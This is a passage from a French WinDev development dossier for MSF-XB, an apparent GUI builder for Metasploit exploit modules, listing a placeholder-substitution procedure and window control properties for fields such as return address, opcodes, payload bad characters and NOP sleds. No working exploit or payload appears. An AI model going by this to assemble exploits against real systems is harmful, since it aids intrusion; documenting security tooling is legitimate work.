Procédure locale fctVariablesGlobales// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] fctVariablesGlobales (<sMaChaine>)//// Paramètres :// sMaChaine : <indiquez ici le rôle de sMaChaine>// Valeur de retour :// chaîne : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE fctVariablesGlobales(sMaChaine)sMaChaineModifiee is string=sMaChaine//On remplace les variables globales par leurs valeurs dans la chaine passée en paramètre

SI ChaîneOccurrence(sMaChaine, "MYPID")>0 ALORSsMaChaineModifiee=Remplace(smachaine,"MYPID", SAI_PID)

FINSI ChaîneOccurrence(sMaChaine, "RHOST")>0 ALORS

sMaChaineModifiee=Remplace(sMaChaine,"RHOST", RHOST)FIN

Page 721: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 727

SI ChaîneOccurrence(sMaChaine, "RPORT")>0 ALORSsMaChaineModifiee=Remplace(sMaChaine,"RPORT", RPORT)

FINSI ChaîneOccurrence(sMaChaine, "RUSER")>0 ALORS

sMaChaineModifiee=Remplace(sMaChaine,"RUSER", RUSER)FINSI ChaîneOccurrence(sMaChaine, "RPASS")>0 ALORS

sMaChaineModifiee=Remplace(sMaChaine,"RPASS", RPASS)FINSI ChaîneOccurrence(sMaChaine, "MYPROCESS")>0 ALORS

sMaChaineModifiee=Remplace(sMaChaine,"MYPROCESS", Caract(34)+SAI_PROCESSUS+Caract(34))FIN

RENVOYER sMaChaineModifiee

Procédure locale Init_Combo_Protocole// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://Init_Combo_Protocole (<Chemin>, <NomRep>, <Change>)//// Paramètres :// Chemin : <indiquez ici le rôle de Chemin>// NomRep : <indiquez ici le rôle de NomRep>// Change : <indiquez ici le rôle de Change>// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE Init_Combo_Protocole(Chemin, NomRep, Change)

SI NomRep<>".svn" ET NomRep<>"prop-base" ET NomRep<>"props" ET NomRep<>"text-base" ET NomRep<>"tmp" ET NomRep<>"wcprops" ALORSSI MemRecherche("ZONE_PROTOCOLE", NomRep)="" ET ListeCherche(COMBO_TARGET, NomRep)=-1 ALORS

MemAjoute("ZONE_PROTOCOLE",nomrep,nomrep)FIN

// si ListeCherche(COMBO_PROTOCOLE, NomRep)=-1 et ListeCherche(COMBO_TARGET, NomRep)=-1 alors// ListeAjoute(COMBO_PROTOCOLE, NomRep)// finFIN

Procédure locale Init_Combo_Transformation

Page 722: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 728

// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://Init_Combo_Transformation (<Repertoire>, <Nom>, <Change>)//// Paramètres :// Repertoire : <indiquez ici le rôle de Chemin>// Nom : <indiquez ici le rôle de NomRep>// Change : <indiquez ici le rôle de Change>// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE Init_Combo_Transformation(Repertoire, Nom, Change)

sSousRep is string=ExtraitChaîne(Repertoire,2,"\",DepuisFin) + "\"SI sSousRep="encoders\" ALORS sSousRep=""ListeAjoute(COMBO_Transformation, ssousrep+Nom)

Page 723: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 729

Apropos Image

Page 724: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 730

Page 725: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 731

Apropos Informations générales

Apropos

Fichier physique G:\Mes Projets\MSF-XB11\Apropos.wdw

Crée par JA

Date de création 26/03/2007 22:07:06

Dernière modification par JA-PSI

Date dernière modification 26/10/2008 20:24:17

TitreFR: A propos de MSF-XBGB: About MSF-XB

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à la mère

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 640

Hauteur 472

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droit

Page 726: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 732

Curseur survol 0Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 2Anim. Fermeture 2Durée Anim. Ouverture 60Durée Anim. Fermeture 60Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIconeImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 727: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 733

Statistiques de la fenêtreLibellé 3 Bouton 4

Image 2 Superchamp 1

Option de menu 1

Nombre d'éléments dans la fenêtre : 11

Apropos Informations sur les champs

Fenêtre : AproposLibellé

Position Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

LIB_Libellé1 174 387 292 56 0 Actif Centre Haut

LIB_Libellé2 300 199 29 20 0 Actif Gauche Haut

RADTitle 9 4 491 18 0 Actif Gauche Centre

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

IMG_Image1 142 47 356 322 0 Actif

Page 728: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 734

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 506 1 128 18 0 Actif

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 590 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 540 0 26 19 0 Actif Normal

BTN_Syst_Maximize 566 0 25 19 0 Actif Normal

BTN_UMC 506 0 24 19 0 Actif Normal

Fenêtre : AproposImage : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 729: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 735

Image : IMG_Image1

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\Jerome_ACDC_04.pngCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 4

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : LIB_Libellé1

Note pour le dossier

FR,GB: FR,GB:

Page 730: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 736

Libellé FR:

MSF-XB: MetaSploit Framework-eXploit Builder

par Jérôme ATHIAS

https://www.securinfos.info GB:

MSF-XB: MetaSploit Framework-eXploit Builder

by Jerome Athias

https://www.securinfos.info Curseur survol 0Synchro Infos Partagées Non

Altitude 5

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage DroiteTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 731: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 737

Libellé : LIB_Libellé2

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: /JACurseur survol 0Synchro Infos Partagées Non

Altitude 6

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage DroiteTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: A propos de MSF-XBGB: About MSF-XB

Curseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la fin

Page 732: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 738

Unicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 1

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 733: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 739

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 734: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 740

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 735: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 741

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 736: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 742

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 737: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 743

Apropos Messages multilangues

N° Message

2000 FR: https://www.securinfos.info/index.phpGB: https://www.securinfos.info/english/index.php

N° mess.: numéro de message.

Page 738: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 744

Apropos Code des champs

Clic sur IMG_Image1LanceAppliAssociée("https://www.securinfos.info/index.php")

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Page 739: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 745

MSFXB_Editor Image

Page 740: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 746

MSFXB_Editor Informations générales

MSFXB_Editor

Fichier physique G:\Mes Projets\MSF-XB11\MSFXB_Editor.wdw

Crée par JA

Date de création 11/05/2007 21:53:57

Dernière modification par JA-PSI

Date dernière modification 15/08/2008 17:16:02

Titre FR,GB: MSF-eXploit Builder

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à l'écran

Note pour le dossier

FR,GB: FR,GB:

Position X 5 Position Y 5 Largeur 1032

Hauteur 774

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0

Page 741: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 747

Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant NonGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIcone G:\Mes Projets\MSF-XB11\Yin Yang.icoImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 742: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 748

Statistiques de la fenêtreChamp de saisie 20 Libellé 3

Bouton 35 Interrupteur 1

Image 1 Table 1

Combo 9 Forme 4

Superchamp 3 Option de menu 1

Colonne de table 7 Case barre de message 1

Combo + table 1

Nombre d'éléments dans la fenêtre : 87

MSFXB_Editor Informations sur les champs

Fenêtre : MSFXB_EditorChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

ADRESSE_RETOUR 13 450 187 22 0 Actif Texte

ARCHITECTURE 13 152 336 22 0 Actif Texte

AUTEURS 13 115 355 32 0 Actif Texte

DATE_DIVULGATION 187 89 158 22 0 Actif Texte

DESCRIPTION 13 361 369 55 0 Actif Texte

DLL 206 451 162 22 0 Actif Texte

EXPLOIT_CODE 356 -93 155 24 0 Actif Texte

KEY 13 711 249 22 0 Actif Texte

MON_OPCODE 13 478 187 22 0 Actif Texte

NOM 13 61 336 22 0 Actif Texte

OS 13 179 336 22 0 Actif Texte

PAYLOAD_BADCHARS 13 298 258 22 0 Actif Texte

PAYLOAD_KEY 13 245 336 22 0 Actif Texte

PAYLOAD_MAXNOPS 206 273 143 22 0 Actif Texte

Page 743: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 749

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

PAYLOAD_NOPS 13 273 143 22 0 Actif Texte

PAYLOAD_PREPENCODER 13 326 336 22 0 Actif Texte

PAYLOAD_SPACE 13 217 336 22 0 Actif Texte

VERSION 13 88 168 22 0 Actif Texte

LibelléPosition Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

LIBURL 542 -93 302 20 0 Actif Centre Haut

RADTitle 9 4 883 18 0 Actif Gauche Centre

RADTitre -19 -99 885 28 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_ADD_TARGET 374 534 8 24 0 Actif Normal

BTN_ASCII 275 298 20 24 0 Actif Normal

BTN_Bouton1 355 61 27 24 0 Actif Normal

BTN_Bouton3 797 32 51 24 0 Actif Normal

BTN_Bouton5 911 32 51 24 0 Actif Normal

BTN_Button1 0 -54 80 24 0 Actif Aide

BTN_Documentation 937 711 80 24 0 Actif Normal

BTN_LISTE_OPCODES 204 479 21 24 0 Actif Normal

BTN_OUVRE 741 32 20 24 0 Actif Normal

BTN_OUVRE_URL 238 479 80 24 0 Actif Normal

BTN_RECHERCHE_ADRESSE 172 534 17 22 0 Actif Normal

BTN_RECHERCHE_OPCODE 206 478 17 22 0 Actif Normal

BTN_SAVE 854 32 51 24 0 Actif Normal

BTN_SEARCH_RETURN_ADDRE 179 534 21 24 0 Actif Normal

BTN_TEST 968 32 51 24 0 Actif Normal

BTN_UPDATE_EXPLOIT 351 708 31 24 0 Actif Normal

TROUVE_DATE 351 91 11 24 0 Actif Normal

Page 744: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 750

InterrupteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

INT_AVOID_BADCHARS 179 561 189 23 0 Actif 1

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

TablePosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Utili Bloc Enre Multi Affic Asc. Bull Saisi Gest Mém Colonne Com

TABLE_REFERENCE 13 583 369 115 0 Actif Mémoire 1

ComboPosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

COMBO_ADRESSE_RETOUR_RE 206 534 168 28 0 Actif Mémoire

COMBO_Documentation 388 711 549 28 0 Actif Mémoire

COMBO_LANGUE 14 532 124 28 0 Actif Mémoire

COMBO_OSSP 147 506 59 28 0 Actif Mémoire

COMBO_OSnom 14 504 124 28 0 Actif Mémoire

COMBO_OSversion 204 507 170 28 0 Actif Mémoire

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCRTF 388 75 629 630 0 Actif

SCSelecteurFichier 12 32 723 22 0 Actif

SCSystemButtons 898 1 128 18 0 Actif

Page 745: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 751

Combo + tablePosition Position Largeur Hauteur Plan Visib Etat initial Touc

COMBO_TARGET 13 422 355 22 0 Actif

Table : TABLE_REFERENCEColonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

REF 100 Actif Gauche Centre Texte

URL 800 Actif Gauche Centre Texte

VIEW 158 Actif Gauche Centre Texte

Superchamp : SCRTFChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SaisieTexte 388 100 627 599 0 Actif Texte

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_COLORATION 993 77 24 24 0 Actif Interrup

BtnCentrer 896 77 20 24 0 Actif Interrup

BtnColler 459 77 20 24 0 Actif Interrup

BtnCopier 438 77 20 24 0 Actif Interrup

BtnCorriger 388 77 20 24 0 Actif Interrup

BtnCouper 417 77 20 24 0 Actif Interrup

BtnDroite 917 77 20 24 0 Actif Interrup

BtnGauche 876 77 20 24 0 Actif Interrup

BtnJustifier 938 77 24 24 0 Actif Interrup

StyleBarré 848 77 20 24 0 Actif Interrup

StyleGras 785 77 20 24 0 Actif Interrup

StyleItalique 806 77 20 24 0 Actif Interrup

StyleSouligné 827 77 20 24 0 Actif Interrup

Page 746: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 752

ComboPosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

Couleur 675 76 102 28 0 Actif Mémoire

Police 489 76 143 28 0 Actif Mémoire

TaillePolice 630 76 48 28 0 Actif Mémoire

FormePosition Position Largeur Hauteur Plan Visib Etat initial Touc

Forme2 480 77 8 20 0 Actif

Forme3 868 77 8 20 0 Actif

Forme4 777 77 8 20 0 Actif

Forme5 409 77 8 20 0 Actif

Superchamp : SCSelecteurFichierChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAIS_FIC 12 34 703 22 0 Actif Texte

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SEL 714 36 21 18 0 Actif Normal

Superchamp : SCSystemButtons

Page 747: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 753

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 982 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 932 0 26 19 0 Actif Normal

BTN_Syst_Maximize 958 0 25 19 0 Actif Normal

BTN_UMC 898 0 24 19 0 Actif Normal

Combo + table : COMBO_TARGETColonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

COL_Colonne1 200 Actif Gauche Centre Texte

COL_Colonne2 100 Actif Gauche Centre Texte

COL_Colonne3 100 Actif Gauche Centre Texte

COL_Colonne4 100 Actif Gauche Centre Texte

Fenêtre : MSFXB_EditorChamp de saisie : ADRESSE_RETOUR

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Adr. retourGB: Ret. address

Ordre navigation 25Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 25Retrait gauche 2Position X interne 82Largeur interne 118

Page 748: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 754

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ARCHITECTURE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &ArchGB: Arch

Ordre navigation 10Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 9

Page 749: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 755

Retrait gauche 2Position X interne 82Largeur interne 267

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 750: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 756

Champ de saisie : AUTEURS

Note pour le dossier

